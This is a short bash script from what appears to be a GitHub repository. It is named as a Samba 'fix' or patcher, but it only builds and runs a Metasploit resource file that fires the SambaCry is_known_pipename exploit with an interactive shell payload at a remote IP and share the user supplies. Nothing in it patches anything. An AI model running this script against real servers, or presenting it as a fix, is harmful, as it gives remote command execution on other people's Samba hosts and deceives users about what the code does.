-
Notifications
You must be signed in to change notification settings - Fork 4
/
Sambacry-fix.sh
executable file
·35 lines (33 loc) · 1.14 KB
/
Sambacry-fix.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/bin/bash
clear
echo "***************************************************************"
echo " EXPLOITER SAMBACRY PaTcHeR for GUEST USER "
echo " Lets fix the Debian Samba via this exploit and patch it "
echo "***************************************************************"
echo -e "What IP of remote Samba ? \c"
read host
echo -e "What is the share name ? : \c"
read name
echo '[*] Checking if metasploit is present..'
if [ -x ./msfconsole ]; then
echo '[*] Found msfconsole in current path ........ good'
else
echo '[-] No msfconsole in path...make sure you have this script in your metasploit-framework path'
exit 0
fi
echo 'use exploit/linux/samba/is_known_pipename' > samba.rc
echo 'set PAYLOAD cmd/unix/interact' >> samba.rc
echo -n 'set RHOST ' >> samba.rc
echo -n $host >> samba.rc
echo '' >> samba.rc
echo -n 'set SMB_SHARE_NAME ' >> samba.rc
echo -n $name >> samba.rc
echo '' >> samba.rc
echo ' set ExitOnSession false' >> samba.rc
echo 'run' >> samba.rc
echo 'hostname' >> samba.rc
echo '' >> samba.rc
echo '' >> samba.rc
echo './msfconsole -r samba.rc' > fix-samba.sh
chmod +x ./fix-samba.sh
./fix-samba.sh